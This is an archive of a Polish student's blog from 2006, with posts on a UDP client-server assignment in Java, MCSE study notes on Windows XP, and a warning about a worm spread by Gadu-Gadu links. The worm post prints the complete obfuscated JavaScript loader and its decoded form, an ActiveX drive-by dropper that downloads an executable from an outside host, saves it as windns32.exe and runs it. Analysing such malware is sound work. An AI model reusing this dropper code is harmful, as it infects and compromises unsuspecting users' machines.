Archive for Październik 2006

h1

p3-team.pl

Październik 30, 2006

zapraszam na p3-team.pl

pojawił się dziś news.. marny bo marny ale się pojawił :P

Reklamy
h1

GG-robaczek ?

Październik 29, 2006

dzisiaj wiele osob dostalo na gg wiadomosc z linkiem…zapewne wiele osob otworzyla (o czym swiadlczyl by timeout co chwile na serwerze”atakujacych”.). Czym jest ta strona ? kolejny coded javascript… ( przy Javacsripcie pomagal Kloss ).

co trzeba zrobic ? przeleciec procesy (ctrl+alt+del) i poszukac czy nie ma gdzies tam dodatkowego win32 czy windns32.exe


var NÚotUwcbW='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
function ylNQjyCnG(EMOpwBlDw)
{
var tBdBWMfUk='', BNVhoXkÚA, edQLRSsLw2, FquDSdeLi, qrFrvqeTÚ, VXWCoWUGl, bXpkBbvcW, jOAwRfyvk, phwfÚbvus=0;EMOpwBlDw=EMOpwBlDw.replace(/[^A-Za-z0-9\+\/\=]/g, '');
do {
qrFrvqeTÚ=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); VXWCoWUGl=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); bXpkBbvcW=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++)); jOAwRfyvk=NÚotUwcbW.indexOf(EMOpwBlDw.charAt(phwfÚbvus++));
BNVhoXkÚA=(qrFrvqeTÚ << 2) | (VXWCoWUGl >> 4);
LwuWKtEKc=((VXWCoWUGl & 15) << 4) | (bXpkBbvcW >> 2);
FquDSdeLi=((bXpkBbvcW & 3) << 6) | jOAwRfyvk;
tBdBWMfUk=tBdBWMfUk+String.fromCharCode(BNVhoXkÚA);
if (bXpkBbvcW!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(LwuWKtEKc);
if (jOAwRfyvk!=64) tBdBWMfUk=tBdBWMfUk+String.fromCharCode(FquDSdeLi);
}
while (phwfÚbvus<EMOpwBlDw.length);
eval(tBdBWMfUk);
}

po odkodowaniu mamy :

function Log(m) {
var log = document.createElement('p');
log.innerHTML = m;
}
function CreateO(o, n) {
var r = null;
try { eval('r = o.CreateObject(n)') }catch(e){}
if (! r) {
try { eval('r = o.CreateObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.CreateObject(n, "", "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject("", n)') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n)') }catch(e){}
}
return(r);
}
function Go(a) {
Log(' ');
var s = CreateO(a, "WScript.Shell");
var o = CreateO(a, "ADODB.Stream");
var e = s.Environment("Process");
Log(' ');
var url = "http://www.brico-ok.com/win32.exe";
var xml = null;
var bin = e.Item("TEMP") + "windns32.exe";
var dat;
try { xml=new XMLHttpRequest(); }
catch(e) {
try { xml = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xml) return(0);
Log(' ');
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
Log(' ');
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
Log(' ');
s.Run(bin,0);
}
function Exploit() {
var i = 0;
var t = new Array('
{BD96C556-65A3-11D0-983A-00C04FC29E36}','
{BD96C556-65A3-11D0-983A-00C04FC29E36}','
{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','
{0006F033-0000-0000-C000-000000000046}','
{0006F03A-0000-0000-C000-000000000046}','
{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','
{6414512B-B978-451D-A0D8-FCFDF33E833C}','
{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','
{06723E09-F4C2-43c8-8358-09FCD1DB0766}','
{639F725F-1B2D-4831-A9FD-874847682010}','
{BA018599-1DB3-44f9-83B4-461454C84BF8}','
{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','
{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);
while (t[i]) {
var a = null;
if (t[i].substring(0,1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
} else {
try { a = new ActiveXObject(t[i]); } catch(e){}
}
if (a) {
try {
var b = CreateO(a, "WScript.Shell");
if (b) {
Log(' ');
Go(a);
return(0);
}
} catch(e){}
}
i++;
}
Log(' ');
}
Exploit();

h1

UDPClient + UDPServer.

Październik 26, 2006

ok, tak jak pisałem wczoraj wziąłem się dziś za zakodowanie tego szablonu który tam przedstawiłem. Szło to mniej więcej tak :

1. klient wczytuje z inputa dane a potem przesyla go socketem do serwera. (stringa)
2.serwer pobiera dane z gniazda
3.serwer zmienia dane
4.serwer przesyla zmodyfikowane socketem dane do klienta
5.klient wczytuje swoim socketem zmodyfikowane dane i wyrzuca na output.

Teraz jak to działa ? otwieram sobie klienta, wpisuje w nim coś
\server\dist>java -jar UDPClient.jar
jakisstring

moj string zostaje pobrany z inputa (readlinem) a następnie przypisuje go do tablicy bajtów sendData (po odpowiedniej konwersji typów).
sendData = sentence.getBytes();
no i jak już mamy nasze sendData to teraz wypadałoby stworzyć pakiecik który pójdzie w eter. Zastanówmy się czego potrzebujemy w pakiecie. Jak już wspominałem wcześniej w UDP nie ma potoczku więc za każdym razem musimy adresować nasz pakiet. Teraz coś co dla mnie nie robi różnicy (tj prawdopodobnie nie rozumiem tego ale mi to nie przeszkadza, po prostu tak jest i tyle :]) tj : obiekt pakietu sendPacket jest typu DatagramPacket. Czyli again, nasz pakiet potrzebuje informacji o adresie IP hosta, numerze portu, długości danych no i samych danych.. a wygląda to mniej więcej tak :
DatagramPacket sendPacket = new DatagramPacket(sendData,
sendData.length, // wspsominana wyzej dlugosc danych
IPAddress, // adres IP hosta
9999); //numer portu w tym wypadku dalem 9999.

what now ? teraz już mamy utworzony pakiet wiec wypadałoby go wysłać w sieć. Do tego celu wykorzystamy metodę send() obiektu clientSocket i wysłanie socketem o tej samej nazwie :)
clientSocket.send(sendPacket);

no i cool, pakiet poszedl w siec, co sie teraz dzieje ? serwer odbiera swoim gniazdkiem nasz pakiecik, gniazdo :
DatagramSocket serverSocket = new DatagramSocket(9999);
wszystko fajnie ale teraz należy pamiętać że przesyłany przez nas pakiet to nie tylko nasz string ale i inne informacje.. a przecież głupio by było gdybyśmy sobie gadali na gadu-gadu i przed wypowiedzią w rozmowie widzielibyśmy wszystkie pozostałe śmieci z pakietu… co więc zrobić ? proste, trzeba odseparować naszego stringa od pozostałych danych.
String sentence = new String(receivePacket.getData());
InetAddress IPAddress = receivePacket.getAddress();
int port = receivePacket.getPort();

no i pozostało zadanie skapitalizowania naszego stringa (przy uzyciu toUpperCase() )
Sring capitalizedSentence = sentence.toUpperCase();
i odesłanie go spowrotem do klienta, first konwersja danych i przypisanie do talblicy bajtów sendData.
sendData = capitalizedSentence.getBytes();
no i ofcousre tworzymy od nowa pakiet :
DatagramPacket sendPacket = new
DatagramPacket(sendData, sendData.length, IPAddress, port);

i co? i sialalalalal poszłooooooo
serverSocket.send(sendPacket);

No i ok, ale to niestety dopiero początek kodowania. Teraz zgodnie z zadaniem muszę jeszcze zrobić :
-wczytywanie z pliku danych o adresie IP i porcie hosta
-mała modyfikacja serwera która sprawi że dane niezmienione prześle dalej do innego klienta który z kolei zmieni dane, prześle spowrotem do serwera a ten odda je klientowi początkowemu.
Jakie trudności ?
-jak poinformować że klient od którego dostaje dane jest początkowym ? Czy to ważne ? :]
-jak w pakiecie przesłać adres IP komputera docelowego i serwera …
no i na teraz to tyle.
pozdrawiam :)

h1

Zadanie programistyczne : SKO.

Październik 25, 2006

2006-10-23 Pon Pierwsze zadanie programistyczne. Na realizację zadania dane są dwa tygodnie. Można uzyskać maksymalnie 4 punkty (10% punktów za ćwiczenia). Obowiązują zasady dotyczące plagiatów opisane w regulaminie. Na „Edu” można znaleźć informacje odnośnie pierwszego zadania programistycznego na przedmiot SKO.
Pierwsze zadanie programistyczne.
W tej chwili oglądając film z Matthewem Perrym (Chandler@Friends ;]) na TVP1 ( Triumf ) wertuję książkę od sieci w poszukiwaniu informacji o aplikacjach klient-serwer w Javie.
Nie rozumiem tylko jednego…. czemu nie TCP ?
Programowanie Socketów protokołu UDP. Streszcze Wam po krótce co i jak z programowaniem socketów w udp. Ofcourse nie ma tak fajnie że ja to wiem :) o nie :) po prostu przekażę Wam to czego się właśnie dowiedziałem (no i kilka oczywistych rzeczy dotyczacych UDP).
UDP to usługa „BEZPOŁĄCZENIOWA
co z tego ? a moze co to znaczy ? nie no nie bede opisywal protokołu UDP. UDP jest usługą bezpołączeniową czyli nie ma miejsca proces negocjowania podczas którego między dwoma procesami tworzony jest potok.
Co to jest potok ?
Podczas komunikowania się dwóch procesów za pośrednictwem protokołu TCP tworzy się między nimi coś i to coś przypomina potok. (dodam jeszcze ze potok istnieje do momentu usunięcia go przez jeden z procesów ). Co więcej o potoku ? (tak wiem i tak go nie ma w UDP ale warto wiedziec :] ) Oferuje on niezawodny kanał przesyłający strumień bajtów. Czyli to co dostaje serwer jest identczne ze tym co zostało wysłane przez klienta. (sekwencja startowa = sekwencja koncowa ).Ok no ale wróćmy do samego UDP. Jako że nie używamy potoków przesyłając jakąś sekwencję musimy w niej zawrzeć adres precesu odbiorczego. Co więcej musimy ją adresować dla każdej porcji bajtów wysłanych przez proces nadawczy. Analogia z taksówką : Jest grupa 20 osób. Wszyscy chcą się dostać do jednego miejsca przy życiu 5 taksówek. Po zajęciu miejsca w taksówce każdy kierowca musi być niezależnie zostac poinformowany o tym gdzie ma jechać. Protokół przypomina usługę oferującą taksówki.Adres docelowy składa się z adresu IP docelowego hosta i numeru portu procesu odbiorczego. Proste ? :) Teraz lecim dalej, pakiet to sekw encja bajtów uzupełniona o docelowy adres IP i numer portu. Jak już wspominałem wcześniej TCP oferuje nie-zawodny kanał dystrybucyjny że tak to nazwę a UDP nie. UDP oferuje model zawodnej usługi zorientowanej na komunikat która bardzo się stara dobrze przeniesc pakieciki ale nie koniecznie jej to wychodzi…Taksówka nie zawsze dojezdza do celu, czasem cos w silniku padnie, czasem stłuczka itd nie ma gwarancji dojechania do celu.
Teraz mały schemacik :
1. klient wczytuje z inputa dane a potem przesyla go socketem do serwera.
2.serwer pobiera dane z gniazda 3.serwer zmienia dane
4.serwer przesyla zmodyfikowane socketem dane do klienta
5.klient wczytuje swoim socketem zmodyfikowane dane i wyrzuca na output. prosta wymiana klient-serwer.
Naszym zadaniem jest Klient – > Proxy – > Serwer.
Czyli mamy do zrobienia 3 programy.

  • Klient – program kliencki – UDPClient.Java
  • Proxy – program klient/serwer – UDPProxy.Java
  • Serwer – program serwer – UDPServer.java

Czyli tak w sumie do zrobienia dwa programy bo proxy bedzie
połączeniem 1 i 3. Do wyboru dwa scenariusze.

  • klient – proxy – serwer – proxy – klient.
  • klient – serwer – klient.

Po odpaleniu programu (tryb tekstowy) program wczytuje sobie z pliku tekstowego klient.txt, proxy1.txt, proxy2.txt, … , serwer.txt. informacje o
adresie ip i numerze portu. Nazwa pliku ma byc argumentem programu takze nazwy niby dowolne ale w zadaniu kazali o tak. No i na
koniec tak zwana funkcjonalność :

  • [count] – ilosc wysłanych pakietów
  • [interval] – czas co jaki wysyłany jest kolejny pakiet od momentu
    przyjscia ostatniej odpowiedzi
  • [preload] – ilosc pakietów, jakie moga byc wysłane bez odpowiedzi
  • [pattern] – zawartosc (wzór) wysyłanego pakietu
  • [packetsize] – rozmiar wysyłanego pakietu no i tyle na dzis, narazie
    wiem mniej wiecej co i jak a że późno już a ja nawet coli nie mam to na dziś starczy…. do jutra :)
h1

Chapter ONE – What’s new in Windows XP Professional. Vol 1.

Październik 24, 2006

Coś niecoś o pierwszym rozdziale. Podzielono go na kilka sekcji, każdą na punkty a w punkcikach troche treści…

Easier to use :

  • Fresh Visual Design : tutaj opisano nowszy/świeższy wygląd który mimo iż wciąż oparty na core z Windowsa 2000 Pro jest o wiele przyjemniejszy a sam „interface” łatwiejszy do opanowania. 24 bitowe ikonki i „theme” (nie lubie słowa „tematy”). No i że użytkownicy wciąż mogą zmienić wygląd na classic w2k. Ciekawe że nie wspomnieli że do zmiany themów trzeba „spsuć” jedną deelelkę… bo na wszelki wypadek gdyby ktoś chciał zmienić tę piękną zieloną idyllę zablokowali możliwość zmian w tym zakresie…
  • Redesigned Start Menu : no to druga zmiana jaka się rzuca w oko po odpaleniu po raz pierwszy xpka :] dynamiczne ustawienia 5 najczesciej używanych programów, przeglądarka/klient email na stałe itd itd… no i ofcourse możliwość zmiany na classic view.
  • Taskbar grouping : moja ulubiona opcja z tych visual. Grupowanie elementów na pasku zadań :) nie ma to jak wrzucić wszystkie notatniki jako jeden element na pasku… no kto się ze mną nie zgodiz ? Dodatkowo można te okienka (już pogrupowane) np wyświetlić czy to „cascade” lub np „tiled”.
  • Updated Search Companion : poszukiwanie plików… ten mały animoway taki… nie wiem jak Wy ale ja go wyłączyłem bo mam wrażenie że mi sie % zużycia na CPU podnosił jak piesek szczekał :) No i tutaj wadomo wychwalanie nowego sposobu wyszukiwania ( znów konsolidacja tasków w celu ułatwienia wyszukiwania ).
  • Multiple-User Logon Features : no tę opcję lubię. Możliowść logowania się większej ilości userów niż 1 bez konieczności wylogowywania pozostałych. Po zalogowaniu nowego usera stan tego który był przed nim zostaje nie tknięty.
  • File and settings Transfer Wizard : opcja uznana za najwieksze wyznanie migracji z jednej stacji do drugiej (transfer ustawień, danch do nowego kompa). Właśnie sam się do tego przymierzam w swoim lapku ( lap – > desktop) ale o tym później.
  • Fast Switching : no zgadnijcie :)
  • Improved Handling of File Associations : boooring… udoskonalona praca z „typami plików” i np miła opcja przypisania jednemu typowi plików więcej niż jednej aplikacji.
  • Webview : kolejne „udoskonalenie” …. tym razem webview w wgladzie folderów… as for me, nothin’ special…

Później mamy jeszcze : More Reliable and Dependable z takimi hasłami jak m.in. System Restore, ASR (Automatic System Recovery) i my favourite one Reduced Reboots (redukcja restartów).. ten ostatni fajna sprawa bo faktycznie po instalacji sterów nie musimy tak często rebootać ale szkoda że czasem musimy.. bez niczego :) od tak, gratisowo :)

Następny punkt to Better Resistance to Appliacation Failure no tutaj mamy

  • Windows File Protection : System ktory uniemożliwia (tj takie ma założenie) nadpisywanie plików jądra systemu i jeśli jakiś pliczek zostanie nadpisany „przypadkiem” WFP zrobi na nim osobistą reinstalke :]
  • Windows Installer Service : taki patencik do dodawania, usuwania i upgradeowania oprogramowania wbudowany w systemik.
  • Side-by-Side DLL Support : A no jest sobie w systemie taki folder %SystemRoot%\Windows\WinSxS służący do przechowywania wersji komponentów systemu służacych do redukcji problemów z dllkami.

Kolejna pozycja : Most Compatible… tutaj soibie daruje komentarz…

Dalej – > Easier Manageability.. no i seria haseł o których jeszcze nic nie wiem…

  • IntelliMirror
  • Group Policy (no dobra tu już coś wiem :] )
  • Resultant Set of Policy (RSoP)
  • Local Group Policies ( tutaj tez wiem :])
  • User State Migration Tool (USMT)
  • Account Management Enhancements
  • Regional Options Enhanced.

Szczegóły tych punktów napiszę jak będę o nich coś wiedział tak really a nie że z ksiązki przepisać…. co o za sztuka :)

ok chwilowa przerwa….. ide po cole :P a jutro exam z wprów :/

h1

MCSE 70-270 „Exam Prep”

Październik 23, 2006

Wypożyczyłem sobie dzisiaj z biblioteki uczelni książkę „Comprehensive Study Guide – Windows XP Professional – MCSE exam 70-270. Exam Prep”…

Po przeczytaniu wstępu i informacji o tym jakie są certy od Microsoft’u ( MCP, MCSA, MCSE , MCSDB, MCSSD i takie tam ) doszedłem do działu „what’s new in windows xp professional”… zatrzymałem się na chwilę aby zastanowić się czy dobrze zrozumiałem… będą mnie uczyć na kursie „czemu windows xp pro jest fajny ? ” ^_- no padłem na miejscu :)

Czytam sobie o „nowych” zabezpieczeniach ( tu po dojsciu do informacji o zabezpieczonych dllkach przypomniałem sobie wykład zorganizowany przez Revival a prowadzony przez Gynvaela Coldwinda dotyczący Reverse Engineeringu gdzie pokazał on jak „bezpieczne” są dll’ki.. więcej o dll spoofingu w artykule Gynvael’a)

ok ja mykam spać :) jutro napiszę dalsze relacje z książki :)

h1

coś niecoś o mcsa…

Październik 22, 2006

Kurs zgodnie z tym co przeczytałem na stronce ACS uczelni kurs zaczyna się 2006-11-04 a kończy 2007-02-03.

Składał się będzie z kursów : 2272, 2274, 2275 .

  • 2272Implementing and Supporting Microsoft Windows XP Professional – Exam 70-270
  • 2274Managing a Microsoft Windows Server 2003 Environment – Exam 70-290
  • 2275Maintaining a Microsoft Windows Server 2003 Environment- Exam 70-290

Jak się dowiedziałem po zakończeniu szkolenia będę miał również możliwość wziąć udział w kursie dotyczącym bezpieczeństwa z tym że jeszcze nie wiem jaki zostanie wprowadzony do programu acs.pjwstk.edu.pl .

No i narazie to tyle :)